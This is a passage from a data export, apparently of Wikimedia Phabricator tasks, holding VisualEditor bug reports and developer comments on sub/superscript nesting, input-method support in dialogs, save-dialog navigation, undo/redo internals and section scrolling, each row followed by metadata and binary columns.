+I'm willing to trust you on implementation details :)",,,1392911441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+236771,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","I agree that the sub/superscript tool should clear any other sub/superscript annotations present. As pointed out you can't do a double superscript, so clearly our goal is not to let you create any complex hierarchy you want, that's for <math>.
+
+I don't think we need to alienate such nested content though, in the same way we don't alienate a double bold tag (if someone used one). As long as the user doesn't try to change the sub/superscripting, the annotations will remain untouched.",,,1392911200,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+236765,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to James Forrester from comment #8)
+> (a) what should happen in VE when the user attempts this
+
+Text should be either super- or subscripted, not both.
+
+Nesting superscripts in subscripts, subscripts in superscripts,
+subscripts in subscripts and superscripts in superscripts
+should be impossible, just like it's impossible to nest links in other
+links. Currently only the last two are impossible.
+
+> (b) what should happen in VE when the page already has this
+
+The same thing that happens with all other unsupported input: it
+should be alienated and left alone.
+
+> (c) what should be changed in MediaWiki's PST to stop this happening
+> in future(?).
+
+Nothing. I suppose there are very rare use cases where this could be
+wanted, we should just keep supporting them for backwards-compatibility.
+
+In fact, the only things that I see in existing articles are currently
+impossible in VE – you can't nest superscripts to produce, say,
+10<sup>10<sup>26</sup></sup> (10^{10^26}) used in [[pl:Oś czasu dalekiej
+przyszłości]]. Arguably this should just use <math/> tags though.",,,1392900216,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+236760,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Wikitext lets you do this too. Do you think we should just silently kill all examples of this in the database? :-)
+
+Closing again unless you can suggest (a) what should happen in VE when the user attempts this, (b) what should happen in VE when the page already has this, and (c) what should be changed in MediaWiki's PST to stop this happening in future(?).",,,1392749738,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+236754,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","A dupe was just filed, this is not just me. Reopening.",,,1384111164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0
+236748,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",*** Bug 56795 has been marked as a duplicate of this bug. ***,,,1384111137,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+236743,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","As input, sure. But as output, HTML lets you do lots of things that VE doesn't.",,,1377476809,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+236740,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to comment #2)
+> Do other text editors permit that? I don't know of any that would.
+> 
+> (Or in other words, this is not fitting users' expectations.)
+
+Well, HTML lets you do this, which means VE needs to support it on the input side at the very least.",,,1377474493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,1
+236737,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(Or in other words, this is not fitting users' expectations.)",,,1377467182,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+236734,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Do other text editors permit that? I don't know of any that would.,,,1377467085,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+236730,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","I don't see how this is a bug? Yes, it's bad, in the same way that setting text's colour to be white, or putting an image inside another image's caption, but that doesn't mean we should stop people doing it…
+
+Generally, appropriate use of the software is a social thing, not a software thing. Willing to be convinced otherwise, but for now I'll mark this as a WONTFIX.",,,1377466817,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+55324,ULS support needed in VisualEditor's dialog boxes,"We need ULS support in dialog boxes-
+
+1) Template dialog boxes - adding existing template for setting paratmeters
+2) Image dialog box
+3) Adding or editing references
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377447360,1454774965.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+605051,ULS support needed in VisualEditor's dialog boxes,Fixed with https://gerrit.wikimedia.org/r/#/c/264577/,,,1454774965,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,135,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+236466,ULS support needed in VisualEditor's dialog boxes,"Pavanaja: Can you elaborate on what you mean by ""We need ULS support in dialog boxes"". I think you mean ""input method support"", but I'd like to be sure.
+
+Additionally, if you could please add the following:
+1. Numbered steps to reproduce.
+2. Observed behavior
+3. Expected behavior
+
+This would allow us to unambiguously understand what you expect, and work towards resolving the issue you experience.",,,1378119977,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+236460,ULS support needed in VisualEditor's dialog boxes,"(In reply to comment #0)
+> We need ULS support in dialog boxes-
+> 
+> 1) Template dialog boxes - adding existing template for setting paratmeters
+> 2) Image dialog box
+> 3) Adding or editing references
+
+Is this something that is done on the VisualEditor side, or inside ULS? I'm pretty sure that there was no change made in VE for the enabling of jquery.IME inside the main VisualEditor surface…
+
+(Please move back if I'm wrong.)",,,1377823487,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,8,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+236454,ULS support needed in VisualEditor's dialog boxes,"[New feature => setting the ""Severity"" field to ""enhancement"". 
+Feel free to do so yourself when filing a report.]
+
+(In reply to comment #0)
+> We need ULS support in dialog boxes-
+> 
+> 1) Template dialog boxes - adding existing template for setting paratmeters
+> 2) Image dialog box
+> 3) Adding or editing references
+
+Please please elaborate what that means, for example steps to reproduce, current outcome, and expected outcome. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1377460860,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+55313,VisualEditor: Can't return to save dialog after reviewing null edit,"reported on en.wp by Atethnekos:
+
+""So I put a space and then a backspace. Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page."" So then I press the little back link on the dialogue, but it just goes back to the processing dialogue. If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message. Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although then pressing back does take me to the save dialogue securely. FF 23.0.1 Win7""
+
+I've confirmed this in Firefox 23.0 on Linux.
+The issue is with the < link only. Clicking the ^ does return you to the editing screen as expected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1377426420,1381187081.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1
+235872,VisualEditor: Can't return to save dialog after reviewing null edit,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187081,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235867,VisualEditor: Can't return to save dialog after reviewing null edit,"Change 81876 merged by jenkins-bot:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1381186923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235861,VisualEditor: Can't return to save dialog after reviewing null edit,"Change 81876 had a related patch set uploaded by Jforrester:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1378325644,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235856,VisualEditor: Can't return to save dialog after reviewing null edit,*** Bug 53314 has been marked as a duplicate of this bug. ***,,,1377426954,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+55225,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one","Rather than passing around boolean parameters called 'reversed' all over the place, we should use each transaction only once, and implement a function that creates a new transaction that's the reverse of an existing transaction.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377192420,1394478857.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-chjb2m7r6pmqmr457wgg,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+255115,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one",This was done ages ago in I3050c5430be4a12510f22e20853560b92acebb67,,,1394478857,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-chjb2m7r6pmqmr457wgg,task_subcomment,,True,c1,3,False,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+255109,"VisualEditor: When reversing a transaction, create a new transaction rather than reusing the old one","But note that the code currently uses the fact that the commit and rollback transaction are the same in order to update the 'applied' field.  So the rollback transaction should still contain a pointer to the original transaction, and when it is committed both should be marked with 'applied=false' (which indicates that we can skip over these entries in the completeHistory).",,,1377652795,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-chjb2m7r6pmqmr457wgg,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+55224,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"dm.Surface.undo() and .redo() just call documentModel.rollback() / .commit() directly, without going through all the other stuff in .change() . Presumably this other stuff is useful, so we should figure out if bypassing it causes bugs.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377191640,1382735392.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-va4nmthl5rer6qeyil6y,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+255067,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"Change 88728 merged by jenkins-bot:
+Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()
+
+https://gerrit.wikimedia.org/r/88728",,,1382735134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255063,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,"Change 88728 had a related patch set uploaded by Catrope:
+Implement ve.dm.Surface.prototype.undo() and redo() in terms of change()
+
+https://gerrit.wikimedia.org/r/88728",,,1381326083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255059,VisualEditor: Undo/redo doesn't go through dm.Surface.change() code path,In theory Surface.change() should also have a corresponding Surface.unchange() method (or a 'reversed' parameter).,,,1377191752,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-va4nmthl5rer6qeyil6y,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+55217,"VisualEditor: When editing a section, don't wait for loading to be complete before scrolling to the section","When loading VisualEditor from a section edit link, the editor opens at that position on the page. However, as the TOC is not displayed in edit mode (bug 49224) the content is effectively rendered higher up so a later section in the article moves into the view (from a users point of view this is perceived as scrolling to a random point). 
+
+The view point does move to the new location of the desired section as the final step of loading, but only if the user has not scrolled at any point while waiting. 
+
+If they have attempted to find the section themselves while VE is loading then either (a) the view point subsequently doesn't move when loading completes, or (b) moves by the amount it would have done if the user had not scrolled (meaning it now points at a different point to desired). I have not worked out how to specifically induce one behaviour or indeed what causes either.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T51224}
+{T52206}
+{T54577}",Medium,50.0,1377187440,1425509611.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-TASK-evkujyihqmirmqqeozmk,task_description,duplicate,True,c1,3,False,False,False,7,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+410104,"VisualEditor: When editing a section, don't wait for loading to be complete before scrolling to the section","Should this be closed in favor of T52206?
+Also see T87556.",,,1423683149,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-evkujyihqmirmqqeozmk,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+55173,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"I clicked to edit a section of a long article, and when I tried to file a bug, it looked like the screen just went dark - I couldn't immediately see a dialog box. It turned out to be because the feedback dialog was overlayed above the section I was editing, which was way, way down the page, and the browser didn't scroll to that part of the page when I pressed the button.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1377115140,1590842330.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-5cuwqt62enm5hymwly75,task_description,declined,True,c1,3,False,False,False,7,,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1514597,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Unfortunately closing this Phabricator task as no further information has been provided.
+
+@Greenrd: After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!",,,1590842330,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,360,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,1
+421356,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Ahm, I'm sorry (obviously requires VE to be enabled to see those section heading links).
+Tried on http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Arrr0.5320366523148922&veaction=edit&vesection=2 but still the ""Submit feedback"" dialog is centered. 
+Still cannot reproduce with Chrome 41 or Firefox 36.",,,1425554338,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,87,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+421354,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"@Greenrd: Sorry that this task has not received feedback earlier, and thank you for reporting this!
+
+> I clicked to edit a section of a long article
+
+Where did you click exactly? Link to that long article is also very welcome. :)
+
+> and when I tried to file a bug, it looked like the screen just went dark - I couldn't immediately see a dialog box. It turned out to be because the feedback dialog was overlayed above the section I was editing
+
+Does this refer to the ""Leave Feedback / Submit Feedback"" dialog available from the ""Help"" (question mark) button in VE's toolbar?
+
+I cannot reproduce in Firefox 36 and Chrome 41 trying with https://en.wikipedia.org/wiki/Hamburg?veaction=edit - is this still a problem?
+Setting task status to ""Stalled"" for the time being...",,,1425554071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,87,,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+252539,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"(In reply to comment #1)
+> Which browser is this about?
+
+Chromium Version 27.0.1453.93 Built from source for Fedora release 18",,,1377160124,,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+252531,VisualEditor: Feedback dialogs not scrolled to when editing section on long page,"Thanks for taking the time to report this!
+
